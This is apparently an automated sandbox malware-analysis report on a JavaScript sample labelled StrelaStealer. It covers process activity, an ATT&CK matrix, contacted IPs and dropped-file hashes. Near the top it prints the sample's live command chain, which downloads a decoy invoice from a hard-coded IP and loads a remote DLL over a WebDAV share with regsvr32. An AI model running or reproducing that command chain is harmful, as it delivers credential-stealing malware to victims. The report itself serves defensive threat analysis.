
Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
183159621374924598.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
183159621374924598.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/#	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1748264596.00000145C0A48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2973652071.000001DDAA811000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1745160634.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742499547.00000145C0A9B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749632864.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748264596.00000145C0A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749752070.00000145C0A9D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 00000006.00000003.1745160634.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749632864.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/#	net.exe, 00000006.00000003.1745160634.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749632864.00000145C0A7A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588815
Start date and time:	2025-01-11 05:51:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	183159621374924598.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.16.168.105, 2.16.168.107, 184.28.90.27, 2.23.242.162, 23.209.209.135, 2.22.242.123, 2.22.242.11, 23.200.0.21, 23.200.0.33, 4.245.163.56, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:52:24	API Interceptor	24x Sleep call for process: powershell.exe modified
23:52:28	API Interceptor	1x Sleep call for process: net.exe modified
23:52:28	API Interceptor	2x Sleep call for process: svchost.exe modified
23:52:41	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307362987098167
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr1:KooCEYhgYEL0In
MD5:	71FEE813E6E9F346E1EAB6DA0E672BD1
SHA1:	63FA46E4131A84E74226C0FD87B2C4ED2751F3A7
SHA-256:	9582A38BB2E18724A964B9E164F34744F2F6DE100F565C062345A40942E20265
SHA-512:	23E929DA9053BB65ABFC31722B945F8B97EE11CBBEB6CC2AECA889129FF5844512F07FD51F0F4CDAC8B81ED574D4807E75A56015947499820FF5C5F7072A1BF9
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa5e3b7f0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42208256745171807
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	D86EB3A500395333FFCC92722A26331E
SHA1:	13547FF1C16299E23D2E9F7C8D7A304D9C8A3749
SHA-256:	79719B62B7D5DBAD4DAF6B03B6165D1792712F43250995B26F77D8ED5DAA6A27
SHA-512:	F2824CF189B585979AA6FAA2D4485A77E8CA5C92E61A5065F16E33E7F5BD3B6F18867B20B3A8C9DF59DEF4A16277E9CE28EC46A902F5DC49D0E32706A8295D50
Malicious:	false
Preview:	...... .......A.......X\...;...{......................0.!..........{A..4...}5.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................{.R.4...}U.................Rkp..4...}5..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07520829746306766
Encrypted:	false
SSDEEP:	3:kbC6YeMHDlkjn13a/yuRwt/allcVO/lnlZMxZNQl:kxz0C53qyuWGOewk
MD5:	51E27CA7FE8D2252C325B9953AC38E1A
SHA1:	E5D124519EF7AAEB3FED0A2CFD7D7DD1CFC69EC8
SHA-256:	F9B81D7D6338B11B69A388C5C5E4A93A610E33C57682F91F0913F6E0CC20A7BE
SHA-512:	4DC7644D4169A6572F40F5589B439793B8B14C10C8D7ECE19A9A6C334CFDA5948D84FEC1C80FCC25D4D911733035AE8D1F59C55AAF5967740CB0D5BD55A4077F
Malicious:	false
Preview:	a(.......................................;...{...4...}5......{A..............{A......{A..........{A]................Rkp..4...}5.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.195613826864959
Encrypted:	false
SSDEEP:	6:iO4q9XhzwL+q2Pwkn2nKuAl9OmbnIFUtSq9Xhwq1Zmwsq9Xhw8LVkwOwkn2nKuAR:7HhsyvYfHAahFUtZhws/7hw8R5JfHAae
MD5:	825A815D6DFF649D844C713BCE557557
SHA1:	0897BA6121527BC240DBE052D8DC358A226E4555
SHA-256:	D65879E1B1FE320142E6DC31044D5DDDD04F51B94B5EED11BCCD82578717131D
SHA-512:	E1B957D7EE2CB67B8670F55848CA69DC0BF62396DAC9E3C390018D4150D1BEEDBB8E9C705DD1F985F5A9647C9A00E0291FB2DBAD7081EF8058094A9200F22BA2
Malicious:	false
Preview:	2025/01/10-23:52:28.397 1f18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:52:28.400 1f18 Recovering log #3.2025/01/10-23:52:28.400 1f18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.195613826864959
Encrypted:	false
SSDEEP:	6:iO4q9XhzwL+q2Pwkn2nKuAl9OmbnIFUtSq9Xhwq1Zmwsq9Xhw8LVkwOwkn2nKuAR:7HhsyvYfHAahFUtZhws/7hw8R5JfHAae
MD5:	825A815D6DFF649D844C713BCE557557
SHA1:	0897BA6121527BC240DBE052D8DC358A226E4555
SHA-256:	D65879E1B1FE320142E6DC31044D5DDDD04F51B94B5EED11BCCD82578717131D
SHA-512:	E1B957D7EE2CB67B8670F55848CA69DC0BF62396DAC9E3C390018D4150D1BEEDBB8E9C705DD1F985F5A9647C9A00E0291FB2DBAD7081EF8058094A9200F22BA2
Malicious:	false
Preview:	2025/01/10-23:52:28.397 1f18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:52:28.400 1f18 Recovering log #3.2025/01/10-23:52:28.400 1f18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158398075458377
Encrypted:	false
SSDEEP:	6:iO4q9Xhc+q2Pwkn2nKuAl9Ombzo2jMGIFUtSq9XhlRZmwsq9XhiVkwOwkn2nKuAv:7HhhvYfHAa8uFUtZh3/7ha5JfHAa8RJ
MD5:	9E11F6EDF48EF037E27DD4208FA489FC
SHA1:	0363C2C097E772664690B3ABE80965BDDC3D1701
SHA-256:	04AE0150A783D716E2951AC04D61A23ACC032736D354A2C2B2D3CE993A0C894B
SHA-512:	A1E192B69C9E81498BB95DD7766EAA9F04C85C8456FD6364EB50A1EEAEE023D04F140987525F217CD0EC0BC9BCBC525DF54D536CA1660B8F3340CF3C135EE2EA
Malicious:	false
Preview:	2025/01/10-23:52:28.410 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:52:28.411 1fa8 Recovering log #3.2025/01/10-23:52:28.412 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158398075458377
Encrypted:	false
SSDEEP:	6:iO4q9Xhc+q2Pwkn2nKuAl9Ombzo2jMGIFUtSq9XhlRZmwsq9XhiVkwOwkn2nKuAv:7HhhvYfHAa8uFUtZh3/7ha5JfHAa8RJ
MD5:	9E11F6EDF48EF037E27DD4208FA489FC
SHA1:	0363C2C097E772664690B3ABE80965BDDC3D1701
SHA-256:	04AE0150A783D716E2951AC04D61A23ACC032736D354A2C2B2D3CE993A0C894B
SHA-512:	A1E192B69C9E81498BB95DD7766EAA9F04C85C8456FD6364EB50A1EEAEE023D04F140987525F217CD0EC0BC9BCBC525DF54D536CA1660B8F3340CF3C135EE2EA
Malicious:	false
Preview:	2025/01/10-23:52:28.410 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:52:28.411 1fa8 Recovering log #3.2025/01/10-23:52:28.412 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.962636147346127
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqoVLGsBdOg2Hacaq3QYiubInP7E4T3y:Y2sRdszVLLdMHV3QYhbG7nby
MD5:	12922B2BBA59A418840CAE98DD6E9809
SHA1:	A23504967ACE0D6ABFD2030F4B73C8C13D9EA76B
SHA-256:	F95E2DEB19A0A1D15AB12C47BC410FAE56F4CB7C683F032018E89F1CBCC0B9C9
SHA-512:	05B97C6A2C5D2E1FFE8B9CCC5B71AAA9E3479FB3B6381342FBE963C0E390596785AA9FB156EBB353925928055B1C8FE38675B89CA68076E6C213888590966793
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131161058762","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137472},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2e35cb8-dbb4-4d1d-aef4-fa106573ff32.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962636147346127
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqoVLGsBdOg2Hacaq3QYiubInP7E4T3y:Y2sRdszVLLdMHV3QYhbG7nby
MD5:	12922B2BBA59A418840CAE98DD6E9809
SHA1:	A23504967ACE0D6ABFD2030F4B73C8C13D9EA76B
SHA-256:	F95E2DEB19A0A1D15AB12C47BC410FAE56F4CB7C683F032018E89F1CBCC0B9C9
SHA-512:	05B97C6A2C5D2E1FFE8B9CCC5B71AAA9E3479FB3B6381342FBE963C0E390596785AA9FB156EBB353925928055B1C8FE38675B89CA68076E6C213888590966793
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131161058762","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137472},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.254745218949253
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7tU3C56:etJCV4FiN/jTN/2r8Mta02fEhgO73gom
MD5:	6A24D4656A12F2B708FA9DB087955BEB
SHA1:	5381CA85DF9BAB5671D1DCF99702CE6981B5127A
SHA-256:	0ADAD3BC6B22D4E5870D3FD1227D52ACC846E6BC1994BDAAC157EF86C16BE9C7
SHA-512:	E2192356DD9725CB46928FC020963DAA2A8B9E775299036AEDD35600111999AFEBA783620848AC2F80EF8D3891CD21F93117832636C5C74F8150B4CD3DAFA244
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.177085077863169
Encrypted:	false
SSDEEP:	6:iO4q9Xh8+q2Pwkn2nKuAl9OmbzNMxIFUtSq9XhGMY5Zmwsq9XhGZEd3VkwOwkn2v:7HhBvYfHAa8jFUtZhGZ/7hG2F5JfHAab
MD5:	1E5342912E9CEE0142D0D2D523C15236
SHA1:	BFB4FCA17C916ACE6533C0E89CE36FFFE62D6B5E
SHA-256:	F33B73CD9F79BFF385364EDB4C39F62235B5213499BFA73D2E90FC0C8EBACA73
SHA-512:	1BE7FA3974BB40416F43BBEE03D2C540C0766025132022E7976886A42C55DD1074B22E59315403090CA9EFD2E3A65FE5598786A484CE08DFDC0B1A42580AFF9C
Malicious:	false
Preview:	2025/01/10-23:52:28.559 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:52:28.560 1fa8 Recovering log #3.2025/01/10-23:52:28.561 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.177085077863169
Encrypted:	false
SSDEEP:	6:iO4q9Xh8+q2Pwkn2nKuAl9OmbzNMxIFUtSq9XhGMY5Zmwsq9XhGZEd3VkwOwkn2v:7HhBvYfHAa8jFUtZhGZ/7hG2F5JfHAab
MD5:	1E5342912E9CEE0142D0D2D523C15236
SHA1:	BFB4FCA17C916ACE6533C0E89CE36FFFE62D6B5E
SHA-256:	F33B73CD9F79BFF385364EDB4C39F62235B5213499BFA73D2E90FC0C8EBACA73
SHA-512:	1BE7FA3974BB40416F43BBEE03D2C540C0766025132022E7976886A42C55DD1074B22E59315403090CA9EFD2E3A65FE5598786A484CE08DFDC0B1A42580AFF9C
Malicious:	false
Preview:	2025/01/10-23:52:28.559 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:52:28.560 1fa8 Recovering log #3.2025/01/10-23:52:28.561 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444997450778857
Encrypted:	false
SSDEEP:	384:CeFci5tUiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:5Ds3OazzU89UTTgUL
MD5:	EBACA4D860D53FEF47BDA83266CF5EDD
SHA1:	CDE75ED5F2F13792EE939E985A9B95BA17C14405
SHA-256:	AF7A357191BDCDB29EF2F159FFA55A50C35338F75066601EA181A9BC284C7BE9
SHA-512:	51A0A3E5BABA2132FEA72B97157DB36C3F687613868B4348E60283FC8B66105DF44C4FE8249034178037F271B0FFD7FFD2CAFC6DFE039D19D3BA78E859AA3392
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.212198857314244
Encrypted:	false
SSDEEP:	24:7+t9mnuwKyqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MP:7MInCyq/mFTIF3XmHjBoGGR+jMz+LhK
MD5:	50A08EF400246B9BB339C8C8BE8FA9C1
SHA1:	393A397D6510C7CE716C48C424775CBDDACA309E
SHA-256:	59AFF1DF9B8AEA677F9CD9516D0FD9E837493FC6D0C3898046F3FB059D7F811F
SHA-512:	435165CC77F2BC05B7ECF2D695E7038F6BBE1A0F745E3FD5EF0F0B11AD051F3F9F9EA5D5966DFB1D7A9F75717D98ECCE34EECE7F658C3A00AF1D823D91528885
Malicious:	false
Preview:	.... .c......y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................